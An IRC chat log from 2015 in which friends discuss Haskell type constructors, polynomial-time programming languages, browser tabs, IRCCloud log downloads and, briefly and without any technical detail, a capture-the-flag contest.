[2015-04-18T14:19:02-0400] <bob_twinkles> yeees
[2015-04-18T14:19:20-0400] <bob_twinkles> come to the dark side, we have HKT =P
[2015-04-18T14:19:45-0400] <JacobEdelman> I will, eventually
[2015-04-18T14:19:54-0400] <JacobEdelman> wel, that or ocaml since i need ocaml if I take the princeton course
[2015-04-18T14:19:57-0400] <JacobEdelman> gtg
[2015-04-18T14:19:57-0400] <+awe> bob_twinkles: I should work on something cool in Haskell, but I don't know what.
[2015-04-18T14:20:03-0400] <bob_twinkles> same =P
[2015-04-18T14:20:09-0400] <+awe> Maybe a language?
[2015-04-18T14:20:13-0400] <JacobEdelman> yes
[2015-04-18T14:20:16-0400] <JacobEdelman> do a language
[2015-04-18T14:20:18-0400] <+awe> But as I told JacobEdelman, I don't know what cool thing I could do with the language
[2015-04-18T14:20:33-0400] <bob_twinkles> implement a borrow checker
[2015-04-18T14:20:41-0400] <+awe> O lawd.
[2015-04-18T14:20:53-0400] <+awe> I could implement a language with linear types lol.
[2015-04-18T14:21:04-0400] <+awe> Rust isn't cool enough for that. It's only got affine types.
[2015-04-18T14:22:04-0400] <+awe> bob_twinkles: in data Maybe a = Just a | Nothing, what is Nothing?
[2015-04-18T14:22:16-0400] <bob_twinkles> Nothing?
[2015-04-18T14:22:27-0400] <+awe> Just is a type constructor.
[2015-04-18T14:22:29-0400] <+awe> What is Nothing?
[2015-04-18T14:22:34-0400] <JacobEdelman> awe: use https://en.wikipedia.org/wiki/System_F#System_F.CF.89
[2015-04-18T14:22:37-0400] <JacobEdelman> it looks pretty
[2015-04-18T14:22:59-0400] <bob_twinkles> no, Just is a constructor, as is Nothing. Maybe is the type constructor. At least if I'm remembering my terminology correctly...
[2015-04-18T14:23:33-0400] <+awe> Well, yeah.
[2015-04-18T14:23:35-0400] <+awe> Sorry. My bad.
[2015-04-18T14:23:52-0400] <+awe> Nothing isn't a constructor though.
[2015-04-18T14:24:02-0400] <+awe> Prelude> :t Nothing
[2015-04-18T14:24:02-0400] <+awe> Nothing :: Maybe a
[2015-04-18T14:24:02-0400] <+awe> Prelude> :t Just
[2015-04-18T14:24:02-0400] <+awe> Just :: a -> Maybe a
[2015-04-18T14:24:38-0400] <+awe> I had a fun conversation about this with my advisor. :)
[2015-04-18T14:24:41-0400] <bob_twinkles> I think it is? There's probably a name for "data constructor with no arguments" but I don't know what it is off the top of my head
[2015-04-18T14:25:05-0400] <bob_twinkles> http://stackoverflow.com/questions/18204308/haskell-type-vs-data-constructor
[2015-04-18T14:25:22-0400] <bob_twinkles> ^ the last example the top answer talks about, "Nothing is a data constructor that contains a value."
[2015-04-18T14:25:50-0400] <JacobEdelman> awe: use this https://en.wikipedia.org/wiki/Homotopy_type_theory
[2015-04-18T14:26:08-0400] <+awe> bob_twinkles: but that's wrong
[2015-04-18T14:26:15-0400] <+awe> bob_twinkles: because Nothing doesn't have a concrete type!
[2015-04-18T14:26:30-0400] <JacobEdelman> awe: basicly, make a type system so powerful Idris people will think its overkill
[2015-04-18T14:26:48-0400] <bob_twinkles> by itself no, but in context it always has to be (Nother :: Maybe SomeConcreteTypeHere)
[2015-04-18T14:26:53-0400] <+awe> That's not the point though.
[2015-04-18T14:26:55-0400] <bob_twinkles> *Nothing
[2015-04-18T14:26:58-0400] <+awe> The question was what is Nothing?
[2015-04-18T14:27:04-0400] • bob_twinkles: shrugs
[2015-04-18T14:27:09-0400] <+awe> Yeah, it's really weird.
[2015-04-18T14:27:15-0400] <bob_twinkles> maybe someone in #haskell knows better than I =P
[2015-04-18T14:27:19-0400] <+awe> We talked about it for a while lol.
[2015-04-18T14:27:41-0400] <+awe> (Also in Rust: enum Option<T> { Some(T), None })
[2015-04-18T14:27:47-0400] <JacobEdelman> awe: or use https://en.wikipedia.org/wiki/Total_functional_programming
[2015-04-18T14:28:21-0400] <JacobEdelman> awe: or (FP or LP or something) (a functional programing thing where every program is guarnteed to run in poly time and can program all poly time programs)
[2015-04-18T14:28:39-0400] <bob_twinkles> how do they guarantee that
[2015-04-18T14:28:46-0400] <+awe> Which one?
[2015-04-18T14:28:47-0400] <JacobEdelman> bob_twinkles: thorugh black magic
[2015-04-18T14:28:47-0400] <+awe> Poly time?
[2015-04-18T14:28:50-0400] <JacobEdelman> lemme find the thing
[2015-04-18T14:28:50-0400] <bob_twinkles> yeah
[2015-04-18T14:28:55-0400] <+awe> Yeah, it's a lot of black magic.
[2015-04-18T14:28:58-0400] <bob_twinkles> heh
[2015-04-18T14:29:53-0400] <JacobEdelman> its understandable
[2015-04-18T14:29:55-0400] <JacobEdelman> page 19 http://www.scottaaronson.com/papers/philos.pdf
[2015-04-18T14:30:41-0400] <JacobEdelman> I think the idea can be simplified by making it based off of lists instead of numbers
[2015-04-18T14:30:47-0400] <+awe> Basically, they ban loops and limit recursion, right?
[2015-04-18T14:31:11-0400] <bob_twinkles> like, you only get one loop?
[2015-04-18T14:31:33-0400] <+awe> As in, it has to be a functional language. So, no for/while loops.
[2015-04-18T14:31:38-0400] <+awe> And then recursion is bounded.
[2015-04-18T14:31:42-0400] <JacobEdelman> yeah
[2015-04-18T14:31:54-0400] <JacobEdelman> well, the recursion bounding is done well
[2015-04-18T14:31:58-0400] <+awe> Yeah, it's a neat bound.
[2015-04-18T14:32:19-0400] <+awe> The solution itself is understandable, but the math that proves this is the proper bound is probably black magic.
[2015-04-18T14:32:26-0400] <JacobEdelman> hmm... maybe
[2015-04-18T14:32:29-0400] <JacobEdelman> I'm not sure if it would be
[2015-04-18T14:32:37-0400] <JacobEdelman> I mean by induction
[2015-04-18T14:32:49-0400] <bob_twinkles> hmmm.... I can see that yeah
[2015-04-18T14:33:04-0400] <bob_twinkles> I don't know how *useful* it is, but that's pretty neat
[2015-04-18T14:33:16-0400] <JacobEdelman> if for programs of length below a certain number I can only do poly time things, and computing numbers of size 2^poly(n) is poly time (since it takes unit time to return each digit) 
[2015-04-18T14:33:44-0400] <JacobEdelman> than by forcing recursion to only last log(a number) times, you get poly time recursion
[2015-04-18T14:33:47-0400] <JacobEdelman> that kinda works
[2015-04-18T14:33:53-0400] <+awe> Yeah.
[2015-04-18T14:34:10-0400] <+awe> But if you keep going, they have some theorems about things that fit these axioms.
[2015-04-18T14:34:20-0400] <JacobEdelman> yeah, its cool
[2015-04-18T14:34:35-0400] <JacobEdelman> write a programing language that compile down to them!
[2015-04-18T14:34:47-0400] <+awe> Nah.
[2015-04-18T14:34:53-0400] <JacobEdelman> why not?
[2015-04-18T14:35:06-0400] <JacobEdelman> I mean a programing language that forces you to write poly time stuff is really really cool
[2015-04-18T14:35:29-0400] <+awe> Sure, it is cool. It's just not something I want to do.
[2015-04-18T14:35:34-0400] <JacobEdelman> ah, okay
[2015-04-18T14:35:51-0400] <JacobEdelman> its on my list of cool things to do
[2015-04-18T14:36:41-0400] <+awe> I'm going to a talk on Tuesday titled "Inference Attacks: Understanding Privacy in the Era of "Privacy is Dead""
[2015-04-18T14:36:57-0400] <JacobEdelman> bob_twinkles: it is useful in that it forces you to write good programs
[2015-04-18T14:37:04-0400] <JacobEdelman> awe: I've watched talks on stuff like that
[2015-04-18T14:37:10-0400] <JacobEdelman> its interesting
[2015-04-18T14:37:15-0400] <bob_twinkles> there are plenty of useful programs that run in non-polynomial time
[2015-04-18T14:37:29-0400] <JacobEdelman> bob_twinkles: yeah, but only on log sized input
[2015-04-18T14:37:34-0400] <JacobEdelman> which should work fine in the language
[2015-04-18T14:37:38-0400] <bob_twinkles> it turns out that circuit layout is NP-Complete for example
[2015-04-18T14:37:49-0400] <+awe> bob_twinkles: sure, but regardless, this language would force you to write something that is good where good means efficiently computable.
[2015-04-18T14:37:50-0400] <JacobEdelman> and?
[2015-04-18T14:38:09-0400] <+awe> JacobEdelman: It's by this dude from UW Madison who Arjun wants on the faculty here.
[2015-04-18T14:38:10-0400] <JacobEdelman> I mean, anything that takes exp time won't be doable for anything larger than log sized input
[2015-04-18T14:38:11-0400] <bob_twinkles> as far as we know you can't express that in a polynomial-time only language?
[2015-04-18T14:38:44-0400] <JacobEdelman> well, if you added annotations for exponentially increase the size of input you could
[2015-04-18T14:38:44-0400] <bob_twinkles> unless I'm misunderstanding something,  you couldn't  for example write a program that tries to solve the TSP
[2015-04-18T14:38:50-0400] <JacobEdelman> no, you are right
[2015-04-18T14:38:52-0400] <+awe> It's not a perfect general purpose language, but it's useful to know that everything that you _can_ write in it would run in polynomial time.
[2015-04-18T14:39:05-0400] <+awe> So, anything that compiles would be efficiently computable.
[2015-04-18T14:39:23-0400] <JacobEdelman> but you could hypothetically add something allows you to write exp time stuff but only when you want too
[2015-04-18T14:39:40-0400] <+awe> Yeah, for example some sort of annotation that says not to run that analysis on it.
[2015-04-18T14:39:40-0400] <JacobEdelman> (doesn't rust have some stuff that makes data unsafe or something, but only whne you want too)\
[2015-04-18T14:39:49-0400] <+awe> Sort of.
[2015-04-18T14:39:51-0400] <+awe> Unsafe blocks.
[2015-04-18T14:39:54-0400] <JacobEdelman> well
[2015-04-18T14:40:11-0400] <bob_twinkles> yeah, my issue is with efficiently computability is necessary and sufficient for a program to be "good" =P
[2015-04-18T14:40:20-0400] <JacobEdelman> bob_twinkles: it is
[2015-04-18T14:40:26-0400] <JacobEdelman> unless that program is taking log size input
[2015-04-18T14:40:30-0400] <+awe> bob_twinkles: that's why I specified that as the definition of good.
[2015-04-18T14:40:35-0400] <JacobEdelman> in which case you can reformat the function to make it work anyway
[2015-04-18T14:40:52-0400] <+awe> bob_twinkles: you can totally disagree (and I don't think that's the only standard for what good is, either), but that's such a language (and Jacob) mean when they say "good."
[2015-04-18T14:41:01-0400] <+awe> that's what such*
[2015-04-18T14:41:08-0400] <JacobEdelman> awe: you wouldn't do analysis to check for poly time, you would compile down into a few functions that obey cobhams axioms
[2015-04-18T14:41:17-0400] <+awe> JacobEdelman: You get the idea though.
[2015-04-18T14:41:21-0400] <JacobEdelman> yeah
[2015-04-18T14:41:33-0400] <+awe> JacobEdelman: You just don't do that for things that have the annotation.
[2015-04-18T14:42:00-0400] <JacobEdelman> well, rather than annotation, I would add some sort of unsafe recursion or something
[2015-04-18T14:42:27-0400] <+awe> What I mean by annotation is that you'd basically have some function that is necessarily exponential time
[2015-04-18T14:42:29-0400] <+awe> and then you'd say like
[2015-04-18T14:42:37-0400] <+awe> exp foo = ...
[2015-04-18T14:42:44-0400] <JacobEdelman> alogn with a guarntee that the function only got passed inputs = to log(the main inputs) size
[2015-04-18T14:42:45-0400] <+awe> and then any function that calls foo has to propagate that exp declaration.
[2015-04-18T14:42:47-0400] <JacobEdelman> yeah
[2015-04-18T14:42:59-0400] <JacobEdelman> well, if I pass foo(log(n)) than it would be fine
[2015-04-18T14:43:05-0400] <+awe> Well, right.
[2015-04-18T14:43:05-0400] <bob_twinkles> no just have 1 function in the standard library called __unsafe__tsp(), and implement everything on top of that =P
[2015-04-18T14:43:08-0400] <+awe> You can do that as an analysis.
[2015-04-18T14:43:13-0400] <JacobEdelman> awe: yeah
[2015-04-18T14:43:31-0400] <+awe> So, you'd have some sort of exponential propagation checker to determine whether or not it needs to propagate upwards.
[2015-04-18T14:43:40-0400] <JacobEdelman> yeah
[2015-04-18T14:43:54-0400] <JacobEdelman> something like that
[2015-04-18T14:45:03-0400] <JacobEdelman> hmm.... the presence of only poly time programs might make symbolic computation nicer
[2015-04-18T14:45:44-0400] <JacobEdelman> (since if it branches once at each timesteap it has max 2^poly(n) branches which, although very high, is good for general program analysis stuffs)
[2015-04-18T14:45:51-0400] <+awe> Over time, my browser usage has slowly come to be very similar to yours, JacobEdelman.
[2015-04-18T14:45:56-0400] <JacobEdelman> lol
[2015-04-18T14:45:58-0400] <+awe> I always have like forty tabs open.
[2015-04-18T14:46:01-0400] <JacobEdelman> ..
[2015-04-18T14:46:01-0400] <+awe> I used to never do that.
[2015-04-18T14:46:04-0400] <JacobEdelman> thats patheticly small
[2015-04-18T14:46:10-0400] <JacobEdelman> I have 88
[2015-04-18T14:46:18-0400] <+awe> I said it's happening slowly.
[2015-04-18T14:46:35-0400] <JacobEdelman> although 54 of my tabs are on term rewriting and lambda calculus and such
[2015-04-18T14:46:48-0400] <+awe> I have 56.
[2015-04-18T14:46:54-0400] <JacobEdelman> nice
[2015-04-18T14:47:05-0400] <JacobEdelman> have you switched to tree style tabs yet?
[2015-04-18T14:47:17-0400] <bob_twinkles> that's a thing?
[2015-04-18T14:47:17-0400] <+awe> Maybe?
[2015-04-18T14:47:24-0400] <JacobEdelman> bob_twinkles: yup
[2015-04-18T14:47:25-0400] <JacobEdelman> firefox addon
[2015-04-18T14:47:30-0400] <+awe> https://www.dropbox.com/s/ls1a8ovnkhaiux3/Screenshot%202015-04-18%2014.47.28.png?dl=0
[2015-04-18T14:47:33-0400] <+awe> That's what I use.
[2015-04-18T14:48:40-0400] <JacobEdelman> thats what I use https://usercontent.irccloud-cdn.com/file/jDfumKmQ/Screenshot+from+2015-04-18+14%3A46%3A35.png
[2015-04-18T14:48:53-0400] <+awe> Ah, neat.
[2015-04-18T14:48:57-0400] <JacobEdelman> its nice
[2015-04-18T14:49:11-0400] <+awe> One thing I'd like for mine to do is to always stack by site.
[2015-04-18T14:49:18-0400] <+awe> Instead, it only stacks by site if they're adjacent to each other in the tab ordering.
[2015-04-18T14:49:23-0400] <JacobEdelman> ah
[2015-04-18T14:49:29-0400] <JacobEdelman> no addons that'll fix it?
[2015-04-18T14:49:33-0400] <JacobEdelman> (firefox addons ftw)
[2015-04-18T14:49:33-0400] <+awe> I haven't looked.
[2015-04-18T14:49:37-0400] <+awe> I use Safari.
[2015-04-18T14:49:40-0400] <+awe> This is built-in though.
[2015-04-18T14:49:41-0400] <JacobEdelman> I know
[2015-04-18T14:49:44-0400] <+awe> There may be addons that improve it.
[2015-04-18T14:49:50-0400] <JacobEdelman> firefox has the best addons ecosystem
[2015-04-18T14:49:53-0400] <+awe> It does.
[2015-04-18T14:49:54-0400] <bob_twinkles> there is firefox's control-shift-e thingy
[2015-04-18T14:50:08-0400] <JacobEdelman> panaroma?
[2015-04-18T14:50:11-0400] <JacobEdelman> I used that for a bit
[2015-04-18T14:50:11-0400] <bob_twinkles> I used to use it but then I realized that all that happened was I forgot about all the tabs I had open
[2015-04-18T14:50:13-0400] <bob_twinkles> yeah
[2015-04-18T14:50:15-0400] <JacobEdelman> got too slow and bulky
[2015-04-18T14:50:34-0400] <+awe> Safari's tab view is rather fast.
[2015-04-18T14:50:43-0400] <JacobEdelman> actually, panarama is fast
[2015-04-18T14:50:45-0400] <JacobEdelman> just tested it 
[2015-04-18T14:50:52-0400] <+awe> It's probably been improved over time.
[2015-04-18T14:50:52-0400] <bob_twinkles> I actually (O=) open new windows when I'm doing new things =P
[2015-04-18T14:50:55-0400] <bob_twinkles> yeah
[2015-04-18T14:50:55-0400] <JacobEdelman> gtg
[2015-04-18T14:51:05-0400] <+awe> Okay, bye, JacobEdelman.
[2015-04-18T14:51:07-0400] <bob_twinkles> when I stopped using it it was pretty slow
[2015-04-18T14:51:12-0400] <bob_twinkles> see you JacobEdelman 
[2015-04-18T14:51:35-0400] <+awe> Hmm, the PLMW deadline is on Friday.
[2015-04-18T14:52:04-0400] <+awe> I really hope that "first priority will be given to women and underrepresented minority applicants from North America" works in my favor.
[2015-04-18T14:52:29-0400] <+awe> It'd be so cool to go to ICFP.
[2015-04-18T14:53:31-0400] <j> LittleBobbyTables: what place you in
[2015-04-18T15:00:53-0400] <LittleBobbyTables> 7th
[2015-04-18T15:12:04-0400] <LittleBobbyTables> Time to wait 30 hours to download this file...
[2015-04-18T15:26:33-0400] <LittleBobbyTables> j: how close did you get to binfol
[2015-04-18T15:29:14-0400] <j> not close at all
[2015-04-18T15:30:09-0400] <LittleBobbyTables> how dumb am i being
[2015-04-18T15:30:10-0400] <LittleBobbyTables> on web 2
[2015-04-18T15:31:40-0400] <j> check system messages
[2015-04-18T15:31:45-0400] <j> there's an update regarding it
[2015-04-18T15:32:30-0400] <LittleBobbyTables> No, I don't remember that time.
[2015-04-18T15:33:22-0400] <j> you will hate it when you get it.
[2015-04-18T15:33:41-0400] <LittleBobbyTables> what is i
[2015-04-18T15:33:42-0400] <LittleBobbyTables> t
[2015-04-18T15:34:42-0400] <+awe> http://en.wikipedia.org/wiki/File:100RSD_front.jpg
[2015-04-18T15:34:50-0400] <+awe> The 100 dinar Serbian bank note has Tesla on it.
[2015-04-18T15:35:01-0400] <LittleBobbyTables> The car?
[2015-04-18T15:35:12-0400] <+awe> Yes, obviously, LittleBobbyTables. It's the car.
[2015-04-18T15:35:22-0400] <LittleBobbyTables> Nice
[2015-04-18T15:36:22-0400] <+awe> LittleBobbyTables: gotta buy a Tesla with Serbian dinar. ;)
[2015-04-18T15:36:57-0400] <LittleBobbyTables> you're buying me one?
[2015-04-18T15:37:02-0400] <LittleBobbyTables> Thanks awe
[2015-04-18T15:37:09-0400] <j> LittleBobbyTables: lol @ your interact points
[2015-04-18T15:37:14-0400] <LittleBobbyTables> shh
[2015-04-18T15:37:21-0400] <LittleBobbyTables> that's all I signed up for lol
[2015-04-18T15:37:31-0400] <j> you do know you have to get through our IP to decrease our actual score, right
[2015-04-18T15:37:48-0400] <LittleBobbyTables> I didn't even read about it
[2015-04-18T15:37:49-0400] <LittleBobbyTables> lol
[2015-04-18T15:38:10-0400] <j> We have 431 interact points
[2015-04-18T15:38:18-0400] <j> you have to get that to 0 to decrease our actual score
[2015-04-18T15:38:34-0400] <LittleBobbyTables> mehhh
[2015-04-18T15:38:57-0400] <j> so your attacks are useless
[2015-04-18T15:40:21-0400] <LittleBobbyTables> j: did you do web f?
[2015-04-18T15:40:52-0400] <j> no, I see how to do it just can't get it right
[2015-04-18T15:40:54-0400] <j> did you?
[2015-04-18T15:41:24-0400] <j> wish they gave src
[2015-04-18T15:42:07-0400] <LittleBobbyTables> Did you get the admin.php part?
[2015-04-18T15:42:43-0400] <j> Yeah
[2015-04-18T15:42:51-0400] <LittleBobbyTables> Did you get into it?
[2015-04-18T15:42:55-0400] <j> no
[2015-04-18T15:43:25-0400] <fwilson> cloudpebble though
[2015-04-18T15:43:30-0400] <fwilson> literally the worst
[2015-04-18T15:43:35-0400] <fwilson> i cannot test my app on the emulator :(
[2015-04-18T15:44:36-0400] <LittleBobbyTables> It's easy, j
[2015-04-18T15:45:18-0400] <j> wait I think I know what i'm doing wrong...
[2015-04-18T15:45:34-0400] <LittleBobbyTables> what are you doing
[2015-04-18T15:47:19-0400] <j> idk if you got it so not gonna say
[2015-04-18T16:28:08-0400] <LittleBobbyTables> Hmmm
[2015-04-18T16:28:14-0400] <LittleBobbyTables> I can get fatal error to occur easily
[2015-04-18T16:28:44-0400] <LittleBobbyTables> "Hello admin! You do not look like admin at all. Thus, go away."
[2015-04-18T16:28:46-0400] <LittleBobbyTables> pls
[2015-04-18T16:33:53-0400] <j> I can get the page to not show up, but that's about it :P
[2015-04-18T16:35:29-0400] <LittleBobbyTables> wanna talk about it
[2015-04-18T16:35:48-0400] <j> b-b-but no cheating!
[2015-04-18T16:36:13-0400] <LittleBobbyTables> like i care
[2015-04-18T16:36:37-0400] <j> pm
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[2015-04-18T17:13:58-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-18T17:06:39-0400] <LittleBobbyTables> what
[2015-04-18T17:06:39-0400] <+awebot> LittleBobbyTables: A minute ago, j said <3.
[2015-04-18T17:06:39-0400] <+awebot> LittleBobbyTables: A minute ago, j said <3.
[2015-04-18T17:06:39-0400] <+awebot> LittleBobbyTables: A minute ago, j said <3.
[2015-04-18T17:06:39-0400] <+awebot> LittleBobbyTables: A minute ago, j said <3.
[2015-04-18T17:06:39-0400] <+awebot> LittleBobbyTables: A minute ago, j said <3.
[2015-04-18T17:06:39-0400] <+awebot> LittleBobbyTables: A minute ago, j said <3.
[2015-04-18T17:06:39-0400] <+awebot> LittleBobbyTables: A minute ago, j said <3.
[2015-04-18T17:06:39-0400] <+awebot> LittleBobbyTables: A minute ago, j said <3.
[2015-04-18T17:06:39-0400] <+awebot> LittleBobbyTables: A minute ago, j said <3.
[2015-04-18T17:06:39-0400] <+awebot> LittleBobbyTables: A minute ago, j said <3.
[2015-04-18T17:06:40-0400] <+awebot> LittleBobbyTables: A minute ago, j said <3.
[2015-04-18T17:06:41-0400] <+awebot> LittleBobbyTables: A minute ago, j said <3.
[2015-04-18T17:06:42-0400] <+awebot> LittleBobbyTables: Moments ago, j said <3.
[2015-04-18T17:06:43-0400] <+awebot> LittleBobbyTables: Moments ago, j said <3.
[2015-04-18T17:06:44-0400] <LittleBobbyTables> god damn it
[2015-04-18T17:06:44-0400] <+awebot> LittleBobbyTables: Moments ago, j said <3.
[2015-04-18T17:06:45-0400] <+awebot> LittleBobbyTables: Moments ago, j said <3.
[2015-04-18T17:06:46-0400] <+awebot> LittleBobbyTables: Moments ago, j said <3.
[2015-04-18T17:06:47-0400] <+awebot> LittleBobbyTables: Moments ago, j said <3.
[2015-04-18T17:06:48-0400] <+awebot> LittleBobbyTables: Moments ago, j said <3.
[2015-04-18T17:06:49-0400] <+awebot> LittleBobbyTables: Moments ago, j said <3.
[2015-04-18T17:06:50-0400] <+awebot> LittleBobbyTables: Moments ago, j said <3.
[2015-04-18T17:06:51-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:06:52-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:06:53-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:06:54-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:06:55-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:06:56-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:06:57-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:06:58-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:06:59-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:07:00-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:07:01-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:07:02-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:07:03-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:07:04-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:07:05-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:07:06-0400] <+awebot> LittleBobbyTables: Moments ago, j said </3.
[2015-04-18T17:07:46-0400] <j> I didn't do it
[2015-04-18T17:07:58-0400] <LittleBobbyTables> Obviously you did
[2015-04-18T17:08:03-0400] <LittleBobbyTables> "j said"
[2015-04-18T17:08:11-0400] <z3t> who's j
[2015-04-18T17:08:20-0400] <LittleBobbyTables> 9:08 PM j → z3t
[2015-04-18T17:08:20-0400] <LittleBobbyTables> 9:08 PM <z3t> who's j
[2015-04-18T17:08:32-0400] <z3t> fake irc logs
[2015-04-18T17:08:48-0400] <LittleBobbyTables> http://gyazo.com/e45c2ed4f7b2789bb05c8d1db84023ea
[2015-04-18T17:08:51-0400] <nickthename> great bot awe
[2015-04-18T17:09:31-0400] <z3t> that does seem pretty convincing LittleBobbyTables 
[2015-04-18T17:13:51-0400] <JacobEdelman> college student libraries op
[2015-04-18T17:14:03-0400] <z3t> ..?
[2015-04-18T17:14:03-0400] Mode is +nrt
[2015-04-18T17:14:08-0400] <JacobEdelman> I find an obscure book on programing language theory I want
[2015-04-18T17:14:15-0400] <JacobEdelman> I ask my brother if he can get me a copy
[2015-04-18T17:14:21-0400] <+awe> nickthename: It's not the bot. It's entirely the people using it.
[2015-04-18T17:14:21-0400] <+awebot> awe: 33 minutes ago, j said ily.
[2015-04-18T17:14:24-0400] <JacobEdelman> and he says he can get it to me by tommorow when I am seeing him
[2015-04-18T17:14:50-0400] <LittleBobbyTables> awe: make it ignore duplicate messages
[2015-04-18T17:15:11-0400] <+awe> LittleBobbyTables: that's not really a solution because you can still spam it with slight variations or with random data.
[2015-04-18T17:15:18-0400] <LittleBobbyTables> true
[2015-04-18T17:15:26-0400] <LittleBobbyTables> Add a limit then?
[2015-04-18T17:15:28-0400] <LittleBobbyTables> of like 5
[2015-04-18T17:15:35-0400] <LittleBobbyTables> I don't think I've seen anyone need more than that
[2015-04-18T17:16:07-0400] <JacobEdelman> LittleBobbyTables: you have a payed irccloud account, right?
[2015-04-18T17:16:11-0400] <LittleBobbyTables> yeah
[2015-04-18T17:16:12-0400] <+awe> I could add a limit.
[2015-04-18T17:16:34-0400] <JacobEdelman> LittleBobbyTables: is it possible for you to download logs?
[2015-04-18T17:16:44-0400] <LittleBobbyTables> Can't just download them
[2015-04-18T17:16:50-0400] <LittleBobbyTables> Need to manually go back all the way
[2015-04-18T17:16:52-0400] <JacobEdelman> ah, okay
[2015-04-18T17:16:57-0400] <JacobEdelman> they are adding search soon it seems
[2015-04-18T17:18:00-0400] <JacobEdelman> awe found this: https://blog.irccloud.com/log-downloads/
[2015-04-18T17:18:03-0400] <JacobEdelman> LittleBobbyTables: ^
[2015-04-18T17:18:36-0400] <+awe> Yeah, you can.
[2015-04-18T17:18:37-0400] <LittleBobbyTables> Your log export is in progress. We’ll email you when it’s ready.
[2015-04-18T17:18:49-0400] <JacobEdelman> got it
[2015-04-18T17:18:50-0400] <JacobEdelman> export done
[2015-04-18T17:19:10-0400] <+awe> I might switch back to IRCCloud then...
[2015-04-18T17:19:27-0400] <LittleBobbyTables> wait
[2015-04-18T17:19:28-0400] <LittleBobbyTables> does this show pms
[2015-04-18T17:19:40-0400] <+awe> Maybe?
[2015-04-18T17:19:58-0400] <JacobEdelman> I think you can download the logs for everything
[2015-04-18T17:19:59-0400] <JacobEdelman> so maybe?
[2015-04-18T17:20:09-0400] <LittleBobbyTables> Doesn't look like it
[2015-04-18T17:20:12-0400] <LittleBobbyTables> If you select just channel
[2015-04-18T17:20:19-0400] <JacobEdelman> yeah, you can download logs
[2015-04-18T17:20:21-0400] <JacobEdelman> *pms
[2015-04-18T17:20:22-0400] <JacobEdelman> go to the pm
[2015-04-18T17:20:25-0400] <JacobEdelman> and click options
[2015-04-18T17:20:28-0400] <JacobEdelman> and you can download it
[2015-04-18T17:21:03-0400] <LittleBobbyTables> That's kind of concerning, though.
[2015-04-18T17:21:12-0400] <LittleBobbyTables> Them having unencrypted logs that go that far back.
[2015-04-18T17:21:30-0400] <JacobEdelman> they may be encrypted
[2015-04-18T17:21:34-0400] <+awe> Logs for #vana are 32 MB lol.
[2015-04-18T17:21:39-0400] <+awe> LittleBobbyTables: you can download logs for everything.
[2015-04-18T17:21:45-0400] <JacobEdelman> I mean, they took a while to set up the download
[2015-04-18T17:21:52-0400] <LittleBobbyTables> It was instant for me.
[2015-04-18T17:21:56-0400] <JacobEdelman> oh
[2015-04-18T17:21:58-0400] <JacobEdelman> hmm
[2015-04-18T17:22:05-0400] <JacobEdelman> took a minute or so for me
[2015-04-18T17:22:14-0400] <+awe> It took a while to get my year or so of logs.
[2015-04-18T17:22:19-0400] <+awe> Probably over a year.
[2015-04-18T17:22:25-0400] <JacobEdelman> awe: do you have premium?
[2015-04-18T17:22:28-0400] <JacobEdelman> cause that could be it
[2015-04-18T17:22:30-0400] <+awe> No.
[2015-04-18T17:22:31-0400] <LittleBobbyTables> God damn it awe.
[2015-04-18T17:22:35-0400] <JacobEdelman> so, maybe thats it
[2015-04-18T17:22:36-0400] <+awe> LittleBobbyTables: what?
[2015-04-18T17:22:52-0400] <LittleBobbyTables> "it took probably a year to get my years worth of logs"
[2015-04-18T17:23:03-0400] <+awe> What?
[2015-04-18T17:23:23-0400] <LittleBobbyTables> >_>
[2015-04-18T17:23:34-0400] <JacobEdelman> I gotta say 
[2015-04-18T17:23:45-0400] <JacobEdelman> irccloud is loads better than any other irc client I have used
[2015-04-18T17:24:50-0400] <nickthename> awe: so... do something about the people using it?
[2015-04-18T17:25:02-0400] <+awe> Okay.
[2015-04-18T17:25:13-0400] <+awe> LittleBobbyTables, z3t: Please don't abuse awebot.
[2015-04-18T17:25:23-0400] <LittleBobbyTables> I'm not the one abusing him...
[2015-04-18T17:25:48-0400] <JacobEdelman> awe: LittleBobbyTables is our official troll, he's expected to abuse awebot
[2015-04-18T17:25:50-0400] <JacobEdelman> :P
[2015-04-18T17:28:07-0400] <+awe> So, for whomever might be interested, Simple Bank is now accepting customers again.
[2015-04-18T17:28:12-0400] <LittleBobbyTables> What's that
[2015-04-18T17:28:22-0400] <+awe> https://www.simple.com/friends/BS62YNR
[2015-04-18T17:28:32-0400] <LittleBobbyTables> how much money do you get off that
[2015-04-18T17:28:39-0400] <+awe> It's an online bank based in Portland that puts customer service first.
[2015-04-18T17:28:40-0400] <+awe> Nothing.
[2015-04-18T17:28:46-0400] <+awe> It's just invitation-basd.
[2015-04-18T17:28:48-0400] <+awe> basd*
[2015-04-18T17:28:49-0400] <+awe> based*
[2015-04-18T17:28:52-0400] <+awe> So, you need someone to invite you to get in.
[2015-04-18T17:29:19-0400] <LittleBobbyTables> Do we get mailed a card
[2015-04-18T17:29:35-0400] <+awe> Yeah.
[2015-04-18T17:29:45-0400] <+awe> It's a very pretty card, too.
[2015-04-18T17:30:02-0400] <LittleBobbyTables> Damn.
[2015-04-18T17:30:06-0400] <LittleBobbyTables> I don't wanna get mailed a card
[2015-04-18T17:30:29-0400] <+awe> They have a pretty neat goals system that helps you to save money for stuff, too.
[2015-04-18T17:31:33-0400] <+awe> And their tools make it easier for you to actually keep track of your money.
[2015-04-18T17:32:13-0400] <LittleBobbyTables> Hmm
